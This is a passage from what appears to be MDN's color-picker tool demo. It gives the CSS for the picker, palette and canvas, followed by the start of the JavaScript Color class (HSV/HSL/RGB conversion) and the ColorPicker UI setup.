+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
